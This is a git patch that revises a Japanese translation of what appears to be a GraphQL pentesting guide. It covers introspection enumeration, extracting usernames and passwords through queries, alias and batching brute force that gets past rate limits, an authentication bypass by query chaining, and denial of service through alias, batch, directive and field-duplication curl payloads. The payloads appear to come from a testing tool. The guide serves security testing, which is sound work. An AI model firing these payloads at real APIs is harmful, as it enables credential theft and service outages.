From 9b4f0c6841e2d441fcfd1d977a12973cdf7a3352 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 23 Jul 2025 12:14:26 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-web/graphql.md'] --- .../pentesting-web/graphql.md | 169 ++++++++++++------ 1 file changed, 119 insertions(+), 50 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md index 68541dbef..00ab68d63 100644 --- a/src/network-services-pentesting/pentesting-web/graphql.md +++ b/src/network-services-pentesting/pentesting-web/graphql.md @@ -4,11 +4,11 @@ ## Introduction -GraphQLは**効率的な代替手段**として**強調されており**、バックエンドからデータをクエリするための簡素化されたアプローチを提供します。RESTとは異なり、RESTはデータを収集するためにさまざまなエンドポイントに対して多数のリクエストを必要とすることが多いですが、GraphQLは**単一のリクエスト**で必要なすべての情報を取得することを可能にします。この簡素化は、データ取得プロセスの複雑さを軽減することにより、**開発者に大きな利益をもたらします**。 +GraphQLは**効率的な代替手段**として**強調されており**、バックエンドからデータをクエリするための簡素化されたアプローチを提供します。RESTとは異なり、RESTはデータを収集するためにさまざまなエンドポイントに対して多数のリクエストを必要とすることが多いですが、GraphQLは**単一のリクエスト**で必要なすべての情報を取得することを可能にします。この簡素化は、データ取得プロセスの複雑さを減少させることにより、**開発者に大きな利益をもたらします**。 ## GraphQLとセキュリティ -GraphQLを含む新しい技術の登場に伴い、新しいセキュリティ脆弱性も出現します。重要な点は、**GraphQLはデフォルトで認証メカニズムを含まない**ということです。開発者がそのようなセキュリティ対策を実装する責任があります。適切な認証がない場合、GraphQLエンドポイントは認証されていないユーザーに機密情報を露出する可能性があり、重大なセキュリティリスクを引き起こします。 +GraphQLを含む新しい技術の登場に伴い、新たなセキュリティ脆弱性も現れます。重要な点は、**GraphQLはデフォルトで認証メカニズムを含まない**ということです。開発者がそのようなセキュリティ対策を実装する責任があります。適切な認証がない場合、GraphQLエンドポイントは認証されていないユーザーに対して機密情報を露出する可能性があり、重大なセキュリティリスクを引き起こします。 ### ディレクトリブルートフォース攻撃とGraphQL @@ -23,7 +23,7 @@ GraphQLを含む新しい技術の登場に伴い、新しいセキュリティ - `/graphql/api` - `/graphql/graphql` -オープンなGraphQLインスタンスを特定することで、サポートされているクエリを調査することができます。これは、エンドポイントを通じてアクセス可能なデータを理解するために重要です。GraphQLのイントロスペクションシステムは、スキーマがサポートするクエリを詳細に示すことでこれを容易にします。これに関する詳細は、GraphQLのイントロスペクションに関するドキュメントを参照してください:[**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/) +オープンなGraphQLインスタンスを特定することで、サポートされているクエリを調査することができます。これは、エンドポイントを通じてアクセス可能なデータを理解するために重要です。GraphQLのイントロスペクションシステムは、スキーマがサポートするクエリを詳細に示すことでこれを容易にします。これに関する詳細は、イントロスペクションに関するGraphQLのドキュメントを参照してください:[**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/) ### フィンガープリンティング @@ -31,13 +31,13 @@ GraphQLを含む新しい技術の登場に伴い、新しいセキュリティ #### ユニバーサルクエリ -URLがGraphQLサービスであるかどうかを確認するために、**ユニバーサルクエリ** `query{__typename}`を送信できます。レスポンスに`{"data": {"__typename": "Query"}}`が含まれている場合、そのURLがGraphQLエンドポイントをホストしていることが確認されます。この方法は、クエリされたオブジェクトのタイプを明らかにするGraphQLの`__typename`フィールドに依存しています。 +URLがGraphQLサービスであるかどうかを確認するために、**ユニバーサルクエリ** `query{__typename}`を送信することができます。レスポンスに`{"data": {"__typename": "Query"}}`が含まれている場合、そのURLがGraphQLエンドポイントをホストしていることが確認されます。この方法は、クエリされたオブジェクトのタイプを明らかにするGraphQLの`__typename`フィールドに依存しています。 ```javascript query{__typename} ``` ### 基本列挙 -Graphqlは通常、**GET**、**POST** (x-www-form-urlencoded) および **POST**(json) をサポートしています。ただし、セキュリティのために、CSRF攻撃を防ぐためにjsonのみを許可することが推奨されます。 +Graphqlは通常、**GET**、**POST**(x-www-form-urlencoded)および**POST**(json)をサポートしています。ただし、セキュリティのためにCSRF攻撃を防ぐためにjsonのみを許可することが推奨されます。 #### インストロスペクション @@ -57,7 +57,7 @@ query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofTy **エラー** -**エラー**が**表示**されるかどうかを知ることは興味深いです。これは有用な**情報**に貢献します。 +**エラー**が**表示**されるかどうかを知ることは興味深いことであり、それは有用な**情報**に貢献します。 ``` ?query={__schema} ?query={} @@ -65,10 +65,10 @@ query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofTy ``` ![](<../../images/image (416).png>) -**インテロスペクションを介してデータベーススキーマを列挙する** +**インストロスペクションを通じてデータベーススキーマを列挙する** -> [!NOTE] -> インテロスペクションが有効であるが、上記のクエリが実行されない場合は、クエリ構造から `onOperation`、`onFragment`、および `onField` ディレクティブを削除してみてください。 +> [!TIP] +> インストロスペクションが有効であるが、上記のクエリが実行されない場合は、クエリ構造から `onOperation`、`onFragment`、および `onField` ディレクティブを削除してみてください。 ```bash #Full introspection query @@ -170,13 +170,13 @@ name ### クエリ -データベースにどのような情報が保存されているかがわかったので、**いくつかの値を抽出してみましょう**。 +データベース内にどのような情報が保存されているかがわかったので、**いくつかの値を抽出してみましょう**。 -イントロスペクションでは、**どのオブジェクトを直接クエリできるか**を見つけることができます(オブジェクトが存在するからといって、クエリできるわけではありません)。次の画像では、"_queryType_"が"_Query_"と呼ばれ、"_Query_"オブジェクトのフィールドの1つが"_flags_"であり、これもオブジェクトのタイプであることがわかります。したがって、フラグオブジェクトをクエリできます。 +イントロスペクションでは、**どのオブジェクトを直接クエリできるか**を見つけることができます(オブジェクトが存在するからといってクエリできるわけではありません)。次の画像では、"_queryType_"が"_Query_"と呼ばれ、"_Query_"オブジェクトのフィールドの1つが"_flags_"であり、これもオブジェクトのタイプであることがわかります。したがって、フラグオブジェクトをクエリできます。 ![](<../../images/Screenshot from 2021-03-13 18-17-48.png>) -"_flags_"のクエリのタイプは"_Flags_"であり、このオブジェクトは以下のように定義されています: +クエリ"_flags_"のタイプは"_Flags_"であり、このオブジェクトは以下のように定義されています: ![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>) @@ -184,44 +184,48 @@ name ```javascript query={flags{name, value}} ``` -次の例のように、**クエリするオブジェクト**が**プリミティブ****タイプ**(例えば**文字列**)の場合は、次のようにクエリできます。 +**オブジェクトをクエリする**が**文字列**のような**プリミティブ****タイプ**である場合、次の例のように + +![](<../../images/image (958).png>) + +単に次のようにクエリできます: ```javascript query = { hiddenFlags } ``` -別の例では、"_Query_" タイプオブジェクトの中に "_user_" と "_users_" の 2 つのオブジェクトがありました。\ -これらのオブジェクトが検索に引数を必要としない場合、必要なデータを **要求する** だけで **すべての情報を取得** できます。このインターネットの例では、保存されたユーザー名とパスワードを抽出できます: +別の例では、"_Query_" タイプオブジェクトの中に 2 つのオブジェクトがありました: "_user_" と "_users_"。\ +これらのオブジェクトが検索に引数を必要としない場合、**必要なデータを要求するだけで**すべての情報を**取得することができます**。このインターネットの例では、保存されたユーザー名とパスワードを抽出できます: ![](<../../images/image (880).png>) -しかし、この例ではそうしようとすると **エラー** が発生します: +しかし、この例では、そうしようとするとこの**エラー**が発生します: ![](<../../images/image (1042).png>) どうやら、"_**uid**_" 引数のタイプ _**Int**_ を使用して検索するようです。\ -とにかく、私たちはすでに、[Basic Enumeration](graphql.md#basic-enumeration) セクションで、必要な情報をすべて表示するクエリが提案されていることを知っていました: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` +とにかく、私たちはすでに、[Basic Enumeration](graphql.md#basic-enumeration) セクションで、必要な情報をすべて表示するクエリが提案されていることを知っていました: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` -提供された画像を読むと、そのクエリを実行したときに "_**user**_" にタイプ _Int_ の **arg** "_**uid**_" があったことがわかります。 +そのクエリを実行したときに提供された画像を読むと、"_**user**_" にタイプ _Int_ の **arg** "_**uid**_" があったことがわかります。 -したがって、軽い _**uid**_ ブルートフォースを実行したところ、_**uid**=**1** でユーザー名とパスワードが取得されました:\ +したがって、軽い _**uid**_ ブルートフォースを実行したところ、_**uid**=**1** でユーザー名とパスワードが取得されました:\ `query={user(uid:1){user,password}}` ![](<../../images/image (90).png>) -私は、**パラメータ** "_**user**_" と "_**password**_" を要求できることを **発見** したことに注意してください。なぜなら、存在しないものを探そうとすると (`query={user(uid:1){noExists}}`) このエラーが発生するからです: +私は、**パラメータ** "_**user**_" と "_**password**_" を要求できることを**発見**したことに注意してください。なぜなら、存在しないものを探そうとすると (`query={user(uid:1){noExists}}`) このエラーが発生するからです: ![](<../../images/image (707).png>) そして、**列挙フェーズ**の間に、"_**dbuser**_" オブジェクトが "_**user**_" と "_**password**_" をフィールドとして持っていることを発見しました。 -**クエリ文字列ダンプトリック(@BinaryShadow\_ に感謝)** +**クエリ文字列ダンプトリック (thanks to @BinaryShadow\_)** -文字列タイプで検索できる場合、例えば: `query={theusers(description: ""){username,password}}` とし、**空の文字列**を **検索** すると、すべてのデータが **ダンプ** されます。 (_この例はチュートリアルの例とは関係ありません。この例では、"**theusers**" を "**description**" という文字列フィールドで検索できると仮定してください_)。 +文字列タイプで検索できる場合、例えば: `query={theusers(description: ""){username,password}}` とし、**空の文字列**を**検索**すると、すべてのデータが**ダンプ**されます。 (_この例はチュートリアルの例とは関係ありません。この例では、"**theusers**" を "**description**" という文字列フィールドで検索できると仮定してください_)。 ### 検索 -このセットアップでは、**データベース**には **人** と **映画** が含まれています。 **人** はその **メール** と **名前** で識別され、**映画** はその **名前** と **評価** で識別されます。 **人** は互いに友達になったり、映画を持ったりでき、データベース内の関係を示します。 +このセットアップでは、**データベース**には **人** と **映画** が含まれています。**人**は **メール** と **名前** で識別され、**映画**は **名前** と **評価** で識別されます。**人**は互いに友達になり、映画を持つこともでき、データベース内の関係を示します。 -**名前** で人を **検索** し、彼らのメールを取得できます: +**名前** で人を**検索**し、彼らのメールを取得できます: ```javascript { searchPerson(name: "John Doe") { @@ -279,7 +283,7 @@ name ``` ### Mutations -**ミューテーションはサーバー側で変更を加えるために使用されます。** +**ミューテーションはサーバーサイドで変更を加えるために使用されます。** **イントロスペクション**では、**宣言された** **ミューテーション**を見つけることができます。次の画像では、"_MutationType_"は"_Mutation_"と呼ばれ、"_Mutation_"オブジェクトにはミューテーションの名前(この場合は"_addPerson_"など)が含まれています: @@ -300,7 +304,7 @@ rating ``` **クエリ内で値とデータの型がどのように示されているかに注意してください。** -さらに、データベースは `addPerson` という名前の **mutation** 操作をサポートしており、これにより **persons** の作成と既存の **friends** および **movies** との関連付けが可能になります。新しく作成された人物にリンクする前に、友人と映画はデータベースに存在している必要があることに注意することが重要です。 +さらに、データベースは、既存の**友人**や**映画**との関連を持つ**人物**の作成を可能にする`addPerson`という名前の**ミューテーション**操作をサポートしています。新しく作成された人物にリンクする前に、友人と映画はデータベースに存在している必要があることに注意することが重要です。 ```javascript mutation { addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) { @@ -330,12 +334,12 @@ releaseYear ``` ### ディレクティブのオーバーロード -このレポートで説明されている[**脆弱性の一つ**](https://www.landh.tech/blog/20240304-google-hack-50000/)によれば、ディレクティブのオーバーロードは、サーバーが操作を無駄にするまで、ディレクティブを何百万回も呼び出すことを意味します。最終的にはDoS攻撃が可能になります。 +このレポートで説明されている[**脆弱性の1つ**](https://www.landh.tech/blog/20240304-google-hack-50000/)によれば、ディレクティブのオーバーロードは、サーバーが操作を無駄にするまで、ディレクティブを何百万回も呼び出すことを意味します。最終的にはDoS攻撃が可能になります。 ### 1つのAPIリクエストでのバッチブルートフォース この情報は[https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)から取得されました。\ -**異なる認証情報で多くのクエリを同時に送信する**ことでGraphQL APIを通じて認証を行います。これは古典的なブルートフォース攻撃ですが、GraphQLのバッチ機能により、HTTPリクエストごとに1つ以上のログイン/パスワードペアを送信することが可能になりました。このアプローチは、外部のレート監視アプリケーションを欺いて、すべてが正常であり、パスワードを推測しようとするブルートフォースボットがいないと考えさせることができます。 +**異なる認証情報で多くのクエリを同時に送信する**ことでGraphQL APIを通じて認証を行います。これは古典的なブルートフォース攻撃ですが、GraphQLのバッチ機能により、1つのHTTPリクエストで複数のログイン/パスワードペアを送信することが可能になりました。このアプローチは、外部のレート監視アプリケーションを欺いて、すべてが正常であり、パスワードを推測しようとするブルートフォースボットがいないと考えさせることができます。 以下は、**同時に3つの異なるメール/パスワードペア**を使用したアプリケーション認証リクエストの最も簡単なデモです。明らかに、同じ方法で1回のリクエストで数千を送信することが可能です: @@ -347,7 +351,7 @@ releaseYear ## インストロスペクションなしのGraphQL -ますます多くの**graphqlエンドポイントがインストロスペクションを無効にしています**。しかし、予期しないリクエストが受信されたときにgraphqlが投げるエラーは、[**clairvoyance**](https://github.com/nikitastupin/clairvoyance)のようなツールがスキーマの大部分を再構築するのに十分です。 +ますます多くの**graphqlエンドポイントがインストロスペクションを無効にしています**。しかし、予期しないリクエストが受信されたときにgraphqlが投げるエラーは、[**clairvoyance**](https://github.com/nikitastupin/clairvoyance)のようなツールがスキーマのほとんどを再構築するのに十分です。 さらに、Burp Suite拡張機能[**GraphQuail**](https://github.com/forcesunseen/graphquail)は、**Burpを通過するGraphQL APIリクエストを観察し**、新しいクエリを見るたびに内部GraphQL**スキーマ**を**構築**します。また、GraphiQLやVoyager用にスキーマを公開することもできます。この拡張機能は、インストロスペクションクエリを受信すると偽のレスポンスを返します。その結果、GraphQuailはAPI内で使用可能なすべてのクエリ、引数、およびフィールドを表示します。詳細については[**こちらを確認してください**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。 @@ -367,7 +371,7 @@ APIのインストロスペクションクエリに対する制限を回避す ### WebSocketsを試す -[**このトーク**](https://www.youtube.com/watch?v=tIo_t5uUK50)で述べたように、WebSocketsを介してgraphQLに接続できるかどうかを確認してください。これにより、潜在的なWAFを回避し、WebSocket通信がgraphQLのスキーマを漏洩させる可能性があります。 +[**このトーク**](https://www.youtube.com/watch?v=tIo_t5uUK50)で述べられているように、WebSocketsを介してgraphQLに接続できるかどうかを確認してください。これにより、潜在的なWAFを回避し、WebSocket通信がgraphQLのスキーマを漏洩させる可能性があります。 ```javascript ws = new WebSocket("wss://target/graphql", "graphql-ws") ws.onopen = function start(event) { @@ -391,9 +395,9 @@ payload: GQL_CALL, ws.send(JSON.stringify(graphqlMsg)) } ``` -### **露出したGraphQL構造の発見** +### **公開されたGraphQL構造の発見** -イントロスペクションが無効になっている場合、JavaScriptライブラリにプリロードされたクエリをウェブサイトのソースコードで調べることは有用な戦略です。これらのクエリは、開発者ツールの`Sources`タブを使用して見つけることができ、APIのスキーマに関する洞察を提供し、潜在的に**露出した機密クエリ**を明らかにします。開発者ツール内で検索するためのコマンドは次のとおりです: +イントロスペクションが無効になっている場合、JavaScriptライブラリにプリロードされたクエリをウェブサイトのソースコードで調べることは有用な戦略です。これらのクエリは、開発者ツールの`Sources`タブを使用して見つけることができ、APIのスキーマに関する洞察を提供し、潜在的に**公開された機密クエリ**を明らかにします。開発者ツール内で検索するためのコマンドは次のとおりです: ```javascript Inspect/Sources/"Search all files" file:* mutation @@ -429,7 +433,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ## GraphQLにおけるクロスサイトWebSocketハイジャック -GraphQLのCRSF脆弱性を悪用するのと同様に、**保護されていないクッキーを使用してGraphQLでの認証を悪用するためにクロスサイトWebSocketハイジャックを実行することも可能です**。これにより、ユーザーがGraphQLで予期しないアクションを実行することになります。 +GraphQLを悪用するCRSF脆弱性と同様に、**保護されていないクッキーを使用してGraphQLでの認証を悪用するためのクロスサイトWebSocketハイジャックを実行することも可能です**。これにより、ユーザーがGraphQLで予期しないアクションを実行することになります。 詳細については、以下を確認してください: @@ -439,7 +443,7 @@ GraphQLのCRSF脆弱性を悪用するのと同様に、**保護されていな ## GraphQLにおける認可 -エンドポイントで定義された多くのGraphQL関数は、リクエスターの認証のみを確認し、認可は確認しない場合があります。 +エンドポイントで定義された多くのGraphQL関数は、リクエスターの認証のみをチェックし、認可はチェックしない場合があります。 クエリ入力変数を変更すると、機密アカウントの詳細が[漏洩](https://hackerone.com/reports/792927)する可能性があります。 @@ -453,9 +457,9 @@ GraphQLのCRSF脆弱性を悪用するのと同様に、**保護されていな ``` ### GraphQLにおける認証バイパス -[クエリのチェイニング](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)を行うことで、弱い認証システムをバイパスすることができます。 +[クエリのチェーニング](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)を行うことで、弱い認証システムをバイパスすることができます。 -以下の例では、操作が「forgotPassword」であり、それに関連するforgotPasswordクエリのみを実行する必要があることがわかります。これをバイパスするために、最後にクエリを追加します。この場合、「register」と新しいユーザーとしてシステムに登録するためのユーザー変数を追加します。 +以下の例では、操作が「forgotPassword」であり、それに関連付けられたforgotPasswordクエリのみを実行する必要があることがわかります。これをバイパスするには、最後にクエリを追加します。この場合、「register」とシステムが新しいユーザーとして登録するためのユーザー変数を追加します。
@@ -463,9 +467,9 @@ GraphQLのCRSF脆弱性を悪用するのと同様に、**保護されていな GraphQLでは、エイリアスはAPIリクエストを行う際に**プロパティを明示的に命名する**ことを可能にする強力な機能です。この機能は、**同じタイプ**のオブジェクトの**複数のインスタンス**を単一のリクエスト内で取得するのに特に便利です。エイリアスを使用することで、GraphQLオブジェクトが同じ名前の複数のプロパティを持つことを妨げる制限を克服できます。 -GraphQLエイリアスの詳細な理解のために、以下のリソースを推奨します: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)。 +GraphQLエイリアスの詳細な理解のためには、次のリソースを推奨します: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)。 -エイリアスの主な目的は多数のAPI呼び出しの必要性を減らすことですが、エイリアスを利用してGraphQLエンドポイントに対してブルートフォース攻撃を実行するという意図しない使用例が特定されています。これは、一部のエンドポイントがブルートフォース攻撃を防ぐために**HTTPリクエストの数**を制限するレートリミッターによって保護されているため可能です。しかし、これらのレートリミッターは、各リクエスト内の操作の数を考慮しない場合があります。エイリアスを使用することで、単一のHTTPリクエスト内に複数のクエリを含めることができるため、そのようなレート制限を回避できます。 +エイリアスの主な目的は、数多くのAPI呼び出しの必要性を減らすことですが、エイリアスを利用してGraphQLエンドポイントに対してブルートフォース攻撃を実行するという意図しない使用例が特定されています。これは、一部のエンドポイントがブルートフォース攻撃を阻止するために**HTTPリクエストの数**を制限するレートリミッターによって保護されているため可能です。しかし、これらのレートリミッターは、各リクエスト内の操作の数を考慮しない場合があります。エイリアスを使用すると、単一のHTTPリクエスト内に複数のクエリを含めることができるため、そのようなレート制限を回避することができます。 以下の例を考えてみてください。これは、エイリアス付きのクエリを使用してストアの割引コードの有効性を確認する方法を示しています。この方法は、複数のクエリを1つのHTTPリクエストにまとめるため、レート制限を回避できる可能性があり、同時に多数の割引コードの確認を可能にします。 ```bash @@ -482,22 +486,22 @@ valid } } ``` -## GraphQLにおけるDoS +## DoS in GraphQL -### エイリアスのオーバーロード +### Alias Overloading -**エイリアスのオーバーロード**は、攻撃者が同じフィールドに対して多くのエイリアスでクエリをオーバーロードし、バックエンドリゾルバがそのフィールドを繰り返し実行するGraphQLの脆弱性です。これによりサーバーリソースが圧倒され、**サービス拒否(DoS)**につながる可能性があります。例えば、以下のクエリでは、同じフィールド(`expensiveField`)がエイリアスを使用して1,000回要求され、バックエンドがそれを1,000回計算することを強制され、CPUやメモリが枯渇する可能性があります: +**Alias Overloading**は、攻撃者が同じフィールドに対して多くのエイリアスでクエリを過負荷にするGraphQLの脆弱性であり、バックエンドリゾルバがそのフィールドを繰り返し実行する原因となります。これによりサーバーリソースが圧倒され、**サービス拒否(DoS)**につながる可能性があります。例えば、以下のクエリでは、同じフィールド(`expensiveField`)がエイリアスを使用して1,000回要求されており、バックエンドはそれを1,000回計算することを強いられ、CPUやメモリが枯渇する可能性があります: ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "Content-Type: application/json" \ -d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \ 'https://example.com/graphql' ``` -この問題を軽減するために、リソースの悪用を防ぐためにエイリアスカウント制限、クエリの複雑さ分析、またはレート制限を実装します。 +これを軽減するために、リソースの悪用を防ぐためにエイリアスカウント制限、クエリの複雑さ分析、またはレート制限を実装します。 ### **配列ベースのクエリバッチ処理** -**配列ベースのクエリバッチ処理**は、GraphQL APIが単一のリクエストで複数のクエリをバッチ処理することを許可する脆弱性であり、攻撃者が同時に大量のクエリを送信できるようになります。これにより、すべてのバッチ処理されたクエリが並行して実行され、バックエンドが圧倒され、過剰なリソース(CPU、メモリ、データベース接続)を消費し、最終的には**サービス拒否(DoS)**につながる可能性があります。バッチ内のクエリ数に制限がない場合、攻撃者はこれを悪用してサービスの可用性を低下させることができます。 +**配列ベースのクエリバッチ処理**は、GraphQL APIが単一のリクエストで複数のクエリをバッチ処理することを許可する脆弱性であり、攻撃者が大量のクエリを同時に送信できるようにします。これにより、すべてのバッチクエリが並行して実行され、バックエンドが圧倒され、過剰なリソース(CPU、メモリ、データベース接続)を消費し、最終的には**サービス拒否(DoS)**につながる可能性があります。バッチ内のクエリ数に制限がない場合、攻撃者はこれを利用してサービスの可用性を低下させることができます。 ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -505,7 +509,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \ -d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \ 'https://example.com/graphql' ``` -この例では、10の異なるクエリが1つのリクエストにバッチ処理され、サーバーがそれらを同時に実行することを強制します。より大きなバッチサイズや計算コストの高いクエリで悪用されると、サーバーが過負荷になります。 +この例では、10の異なるクエリが1つのリクエストにバッチ処理され、サーバーがそれらを同時に実行することを強制します。より大きなバッチサイズや計算コストの高いクエリで悪用されると、サーバーが過負荷になる可能性があります。 ### **ディレクティブオーバーローディング脆弱性** @@ -517,31 +521,94 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \ -d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \ 'https://example.com/graphql' ``` -前の例では、`@aa` は宣言されていない可能性のあるカスタムディレクティブです。通常存在する一般的なディレクティブは **`@include`** です: +前の例では、`@aa` は宣言されていない可能性があるカスタムディレクティブです。通常存在する一般的なディレクティブは **`@include`** です: ```bash curl -X POST \ -H "Content-Type: application/json" \ -d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \ 'https://example.com/graphql' ``` -すべての宣言されたディレクティブを発見するために、イントロスペクションクエリを送信することもできます: +宣言されたすべてのディレクティブを発見するために、イントロスペクションクエリを送信することもできます: ```bash curl -X POST \ -H "Content-Type: application/json" \ -d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \ 'https://example.com/graphql' ``` -そして**カスタムのいくつかを使用します**。 +そして、**カスタムのいくつかを使用します**。 ### **フィールド重複脆弱性** -**フィールド重複**は、GraphQLサーバーが同じフィールドを過剰に繰り返すクエリを許可する脆弱性です。これにより、サーバーは各インスタンスのためにフィールドを冗長に解決する必要があり、重要なリソース(CPU、メモリ、データベース呼び出し)を消費します。攻撃者は何百または何千もの繰り返されたフィールドを持つクエリを作成でき、高負荷を引き起こし、最終的には**サービス拒否(DoS)**につながる可能性があります。 +**フィールド重複**は、GraphQLサーバーが同じフィールドを過剰に繰り返すクエリを許可する脆弱性です。これにより、サーバーは各インスタンスのためにフィールドを冗長に解決する必要があり、重要なリソース(CPU、メモリ、データベース呼び出し)を消費します。攻撃者は、数百または数千の繰り返されたフィールドを持つクエリを作成することができ、高負荷を引き起こし、最終的には**サービス拒否(DoS)**につながる可能性があります。 ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \ -d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename 